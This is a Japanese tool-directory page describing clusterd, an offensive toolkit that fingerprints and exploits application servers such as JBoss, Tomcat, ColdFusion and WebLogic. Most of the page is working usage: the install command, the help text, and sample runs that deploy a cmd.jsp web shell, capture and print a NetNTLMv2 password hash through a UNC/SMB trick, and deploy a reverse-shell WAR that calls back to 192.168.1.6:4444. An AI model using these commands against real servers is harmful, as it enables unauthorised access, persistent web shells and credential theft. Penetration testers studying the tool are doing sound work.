Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/hatriot/clusterd
偵察エクスプロイトフレームワークペイロード生成脆弱性分析ウェブアプリケーション悪用ペネトレーションテスト
GitHubhatriot/clusterd

clusterd

アプリケーションサーバー攻撃ツールキット

リポジトリを見る
68719610年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
clusterd — アプリケーションサーバー攻撃ツールキット | Kitploit

clusterd

clusterd はオープンソースのアプリケーションサーバー攻撃ツールキットです。現在のフィンガープリンティングやエクスプロイト手法に対する不満から生まれ、clusterd はアプリケーションサーバー攻撃のフィンガープリンティング、偵察、エクスプロイトの各フェーズを自動化します。詳細は wiki を参照してください。

必要条件

  • Python >= 2.7.x
  • Requests >= 2.2.x

インストール

clusterd の推奨インストール方法は、Github リポジトリをクローンすることです。

root@kitploit:~
git clone https://github.com/hatRiot/clusterd.git

clusterd の機能

  • clusterd は現在6つの異なるアプリケーションサーバープラットフォームをサポートしており、さらにいくつかのプラットフォームが開発および研究段階にあります。

  • JBoss

    • バージョン 3.x - 8.1
    • 現在サポートされているデプロイヤー:
      • /jmx-console/MainDeployer (3.x, 4.x, 6.x 向け)
      • /jmx-console/DeploymentFileRepository (3.x, 4.x, 5.x 向け)
      • /web-console/Invoker (MainDeployer) (3.x, 4.x, 6.x 向け)
      • /web-console/Invoker (BSHDeployer) (3.x, 4.x 向け)
      • /invoker/JMXInvokerServlet (3.x, 4.x, 5.x 向け)
      • /invoker/EJBInvokerServlet (3.x, 4.x, 5.x 向け)
      • /management (7.x, 8.x 向け)
      • SEAM2 (5.1, 6.x 向け)
    • デプロイされた WAR のダンプ
    • ホストOS情報の取得
    • 動詞改ざん脆弱性 (CVE-2010-0738)
    • 認証情報/パスの開示 (CVE-2005-2006)
  • ColdFusion

    • バージョン 5 - 11
    • 現在サポートされているデプロイヤー:
      • タスクスケジューラ (5.x, 6.x, 7.x, 8.x, 9.x, 10.x, 11.x 向け)
      • FCKeditor (8.x 向け)
      • LFI ログインジェクション (6.x, 7.x, 8.x 向け)
    • バージョン 6 - 10 のハッシュ取得
    • RDS 管理バイパス (CVE-2013-0632)
    • バージョン 7 - 9 のハッシュパススルー認証
  • WebLogic

    • バージョン 7, 8.1, 11, 12
    • T3 および T3S 経由のデプロイヤーは現在 11.x および 12.x でテスト済み
    • T3/T3S 経由でデプロイされた WAR のダンプ
    • ホストOS情報の取得
  • Tomcat

    • バージョン 3.x - 8.x
    • 現在、管理インターフェースが露出しているすべてのバージョンにデプロイ可能
    • デプロイされた WAR のダンプ
    • ホストOS情報の取得
  • Railo

    • バージョン 3.x - 4.x
    • 現在サポートされているデプロイヤー:
      • タスクスケジューラ (3.x, 4.x 向け)
      • ログインジェクション (3.x, 4.x 向け)
      • Thumbnail 事前認証 RCE (3.x, 4.x 向け、4.2.1 まで)
    • ホストOS情報の取得
    • 事前認証パスワード取得 (3.x - 4.2.1)
  • Axis2

    • バージョン 1.4 - 1.6
    • 現在サポートされているデプロイヤー:
      • 管理インターフェース (1.4, 1.5, 1.6 向け)
    • ホストOS情報の取得
    • デプロイ済みサービスの表示
    • バージョン 1.4 の認証情報開示
  • Glassfish

    • バージョン 3.x - 4.x
    • デプロイ済みサービスの表示
    • 現在サポートされているデプロイヤー:
      • 管理アップロード (3.x, 4.x 向け)
  • 新しいプラットフォーム、フィンガープリント、デプロイヤー、エクスプロイトを追加するためのシンプルな API

  • 脆弱性やエクスプロイト技術のためのさまざまな補助モジュール

使用例 / 使用方法

root@kitploit:~
$ ./clusterd.py 

        clusterd/0.3.1 - clustered attack toolkit
            [Supporting 7 platforms]

usage: ./clusterd.py [options]

optional arguments:
  -h, --help            show this help message and exit

Connection:
  Options for configuring the connection

  -i [ip address]       Server address
  -iL [file]            Server list
  -p [port]             Server port
  --proxy [proxy://server:port]
                        Connect through proxy [http|https]
  --proxy-auth [username:password]
                        Proxy credentials
  --timeout [seconds]   Connection timeout [5s]
  --random-agent        Use a random User-Agent for requests
  --ssl                 Force SSL

Remote Host:
  Settings specific to the remote host

  -a [jboss|coldfusion|weblogic|tomcat|railo|axis2|glassfish]
                        Hint at remote host service
  -o [windows|linux]    Hint at remote host OS
  -v [version]          Specific version to test
  --usr-auth [username:password]
                        Login credentials for service
  --fingerprint         Fingerprint the remote system
  --arch [x86|x64]      Specify remote OS architecture

Deploy:
  Deployment flags and settings

  --deploy [file]       Deploy to the discovered service
  --undeploy [context]  Undeploy file from server
  --deployer [deployer]
                        Specify a deployer to use
  --invoke              Invoke payload after deployment
  --rand-payload        Use a random name for the deployed file
  -b [user]             Brute force credentials for user [admin]
  --wordlist [path]     Wordlist for brute forcing passwords

Other:
  Miscellaneous flags

  --deployer-list       List all available deployers
  --aux-list [platform]
                        List all available exploits
  --gen-payload [host:port] for reverse connection
                        Generate a reverse shell payload
  --discover [discovery_file]
                        Attempt to discover application servers using the
                        specified nmap gnmap output (use -sV when scanning)
  --listen [adapter]    Adapter to listen on when needed
  -d                    Enable debug output
  -l                    Log output to file [$time$_log.log]

jboss フィンガープリントとホスト情報

root@kitploit:~
$ ./clusterd.py -i 192.168.1.105 -a jboss --jb-info --random-agent

        clusterd/0.3 - clustered attack toolkit
            [Supporting 6 platforms]

 [2014-05-25 10:57PM] Started at 2014-05-25 10:57PM
 [2014-05-25 10:57PM] Servers' OS hinted at windows
 [2014-05-25 10:57PM] Fingerprinting host '192.168.1.105'
 [2014-05-25 10:57PM] Server hinted at 'jboss'
 [2014-05-25 10:57PM] Checking jboss version 3.2 JBoss JMX Console...
 [2014-05-25 10:57PM] Checking jboss version 3.2 JBoss Web Console...
 [2014-05-25 10:57PM] Checking jboss version 3.0 JBoss JMX Console...
 [2014-05-25 10:57PM] Checking jboss version 4.2 JBoss JMX Console...
 [2014-05-25 10:57PM] Checking jboss version 4.2 JBoss Web Console...
 [2014-05-25 10:57PM] Checking jboss version 4.0 JBoss JMX Console...
 [2014-05-25 10:57PM] Checking jboss version 4.0 JBoss Web Console...
 [2014-05-25 10:57PM] Checking jboss version 5.1 JBoss Web Manager...
 [2014-05-25 10:57PM] Checking jboss version 5.1 JBoss JMX Console...
 [2014-05-25 10:57PM] Checking jboss version 5.1 JBoss Web Console...
 [2014-05-25 10:57PM] Checking jboss version 5.0 JBoss JMX Console...
 [2014-05-25 10:57PM] Checking jboss version 5.0 JBoss Web Console...
 [2014-05-25 10:57PM] Checking jboss version 6.0 JBoss Web Manager...
 [2014-05-25 10:57PM] Checking jboss version 6.1 JBoss Web Manager...
 [2014-05-25 10:57PM] Checking jboss version 6.1 JBoss JMX Console...
 [2014-05-25 10:57PM] Checking jboss version 6.0 JBoss JMX Console...
 [2014-05-25 10:57PM] Checking jboss version 7.1 JBoss Management...
 [2014-05-25 10:57PM] Checking jboss version 7.0 JBoss Management...
 [2014-05-25 10:57PM] Checking jboss version 8.0 JBoss Management...
 [2014-05-25 10:57PM] Checking jboss version Any JBoss EJB Invoker Servlet...
 [2014-05-25 10:57PM] Checking jboss version Any JBoss HTTP Headers (Unreliable)...
 [2014-05-25 10:57PM] Checking jboss version Any JBoss JMX Invoker Servlet...
 [2014-05-25 10:57PM] Checking jboss version Any JBoss RMI Interface...
 [2014-05-25 10:57PM] Checking jboss version Any JBoss Status Page...
 [2014-05-25 10:57PM] Matched 7 fingerprints for service jboss
 [2014-05-25 10:57PM]   JBoss JMX Console (version 5.0)
 [2014-05-25 10:57PM]   JBoss Web Console (version 5.0)
 [2014-05-25 10:57PM]   JBoss EJB Invoker Servlet (version Any)
 [2014-05-25 10:57PM]   JBoss HTTP Headers (Unreliable) (version 5.0)
 [2014-05-25 10:57PM]   JBoss JMX Invoker Servlet (version Any)
 [2014-05-25 10:57PM]   JBoss RMI Interface (version Any)
 [2014-05-25 10:57PM]   JBoss Status Page (version Any)
 [2014-05-25 10:57PM] Fingerprinting completed.
 [2014-05-25 10:57PM] Attempting to retrieve JBoss info...
 [2014-05-25 10:57PM]   ActiveThreadCount: 68    
 [2014-05-25 10:57PM]   AvailableProcessors: 1    
 [2014-05-25 10:57PM]   OSArch: amd64    
 [2014-05-25 10:57PM]   MaxMemory: 518979584    
 [2014-05-25 10:57PM]   HostAddress: 192.168.1.105    
 [2014-05-25 10:57PM]   JavaVersion: 1.7.0_45    
 [2014-05-25 10:57PM]   OSVersion: 6.1    
 [2014-05-25 10:57PM]   TotalMemory: 286703616    
 [2014-05-25 10:57PM]   JavaVendor: Oracle Corporation    
 [2014-05-25 10:57PM]   ActiveThreadGroupCount: 9    
 [2014-05-25 10:57PM]   OSName: Windows 7    
 [2014-05-25 10:57PM]   FreeMemory: 122651808    
 [2014-05-25 10:57PM]   HostName: bryan-PC    
 [2014-05-25 10:57PM]   JavaVMVersion: 24.45-b08    
 [2014-05-25 10:57PM]   JavaVMVendor: Oracle Corporation    
 [2014-05-25 10:57PM]   JavaVMName: Java HotSpot(TM) 64-Bit Server VM    
 [2014-05-25 10:57PM] Finished at 2014-05-25 10:57PM

JBoss 5.0 への JBoss DFS デプロイ

root@kitploit:~
$ ./clusterd.py -i 192.168.1.105 -a jboss -v5.0 --deploy ./src/lib/resources/cmd.war --random-agent

        clusterd/0.3 - clustered attack toolkit
            [Supporting 6 platforms]

 [2014-05-25 11:00PM] Started at 2014-05-25 11:00PM
 [2014-05-25 11:00PM] Servers' OS hinted at windows
 [2014-05-25 11:00PM] Fingerprinting host '192.168.1.105'
 [2014-05-25 11:00PM] Server hinted at 'jboss'
 [2014-05-25 11:00PM] Checking jboss version 5.0 JBoss JMX Console...
 [2014-05-25 11:00PM] Checking jboss version 5.0 JBoss Web Console...
 [2014-05-25 11:00PM] Checking jboss version Any JBoss EJB Invoker Servlet...
 [2014-05-25 11:00PM] Checking jboss version Any JBoss HTTP Headers (Unreliable)...
 [2014-05-25 11:00PM] Checking jboss version Any JBoss JMX Invoker Servlet...
 [2014-05-25 11:00PM] Checking jboss version Any JBoss RMI Interface...
 [2014-05-25 11:00PM] Checking jboss version Any JBoss Status Page...
 [2014-05-25 11:00PM] Matched 7 fingerprints for service jboss
 [2014-05-25 11:00PM]   JBoss JMX Console (version 5.0)
 [2014-05-25 11:00PM]   JBoss Web Console (version 5.0)
 [2014-05-25 11:00PM]   JBoss EJB Invoker Servlet (version Any)
 [2014-05-25 11:00PM]   JBoss HTTP Headers (Unreliable) (version 5.0)
 [2014-05-25 11:00PM]   JBoss JMX Invoker Servlet (version Any)
 [2014-05-25 11:00PM]   JBoss RMI Interface (version Any)
 [2014-05-25 11:00PM]   JBoss Status Page (version Any)
 [2014-05-25 11:00PM] Fingerprinting completed.
 [2014-05-25 11:00PM] This deployer requires a JSP, default to cmd.jsp? [Y/n] > 
 [2014-05-25 11:00PM] Preparing to deploy cmd...
 [2014-05-25 11:00PM] Successfully deployed '/cmd/cmd.jsp'
 [2014-05-25 11:00PM] Finished at 2014-05-25 11:00PM

JBoss UNC ハッシュ取得

root@kitploit:~
$ sudo ./clusterd.py -i 192.168.1.105 -a jboss -v4.2 --random-agent --jb-smb

        clusterd/0.3 - clustered attack toolkit
            [Supporting 6 platforms]

 [2014-05-25 11:01PM] Started at 2014-05-25 11:01PM
 [2014-05-25 11:01PM] Servers' OS hinted at windows
 [2014-05-25 11:01PM] Fingerprinting host '192.168.1.105'
 [2014-05-25 11:01PM] Server hinted at 'jboss'
 [2014-05-25 11:01PM] Checking jboss version 4.2 JBoss JMX Console...
 [2014-05-25 11:01PM] Checking jboss version 4.2 JBoss Web Console...
 [2014-05-25 11:01PM] Checking jboss version Any JBoss EJB Invoker Servlet...
 [2014-05-25 11:01PM] Checking jboss version Any JBoss HTTP Headers (Unreliable)...
 [2014-05-25 11:01PM] Checking jboss version Any JBoss JMX Invoker Servlet...
 [2014-05-25 11:01PM] Checking jboss version Any JBoss RMI Interface...
 [2014-05-25 11:01PM] Checking jboss version Any JBoss Status Page...
 [2014-05-25 11:01PM] Matched 7 fingerprints for service jboss
 [2014-05-25 11:01PM]   JBoss JMX Console (version 4.2)
 [2014-05-25 11:01PM]   JBoss Web Console (version 4.2)
 [2014-05-25 11:01PM]   JBoss EJB Invoker Servlet (version Any)
 [2014-05-25 11:01PM]   JBoss HTTP Headers (Unreliable) (version 4.2)
 [2014-05-25 11:01PM]   JBoss JMX Invoker Servlet (version Any)
 [2014-05-25 11:01PM]   JBoss RMI Interface (version Any)
 [2014-05-25 11:01PM]   JBoss Status Page (version Any)
 [2014-05-25 11:01PM] Fingerprinting completed.
 [2014-05-25 11:01PM] Setting up SMB listener..
 [2014-05-25 11:01PM] Invoking UNC loader...
 [2014-05-25 11:01PM] bryan::bryan-PC:1122334455667788:34826253d353ebca4811bd08be0db067:01010000000000003dac35999f78cf019df7c49c7268a5f600000000020000000000000000000000
 [2014-05-25 11:01PM] Finished at 2014-05-25 11:01PM

Tomcat デプロイとリバースシェル呼び出し

root@kitploit:~
$ ./clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

        clusterd/0.3 - clustered attack toolkit
            [Supporting 6 platforms]

 [2014-05-25 10:53PM] Started at 2014-05-25 10:53PM
 [2014-05-25 10:53PM] Generating payload....
 [2014-05-25 10:53PM] Payload generated (shell.war).  Payload: java/jsp_shell_reverse_tcp
 [2014-05-25 10:53PM] Servers' OS hinted at windows
 [2014-05-25 10:53PM] Fingerprinting host '192.168.1.105'
 [2014-05-25 10:53PM] Server hinted at 'tomcat'
 [2014-05-25 10:53PM] Checking tomcat version 5.5 Tomcat...
 [2014-05-25 10:53PM] Checking tomcat version 5.5 Tomcat Manager...
 [2014-05-25 10:53PM] Matched 2 fingerprints for service tomcat
 [2014-05-25 10:53PM]   Tomcat (version 5.5)
 [2014-05-25 10:53PM]   Tomcat Manager (version 5.5)
 [2014-05-25 10:53PM] Fingerprinting completed.
 [2014-05-25 10:53PM] Preparing to deploy /tmp/.clusterd/z1dgi.war...
 [2014-05-25 10:53PM] Deployed /tmp/.clusterd/z1dgi.war to /z1dgi
 [2014-05-25 10:53PM] z1dgi invoked at 192.168.1.105
 [2014-05-25 10:53PM] Finished at 2014-05-25 10:53PM
ツールをダウンロード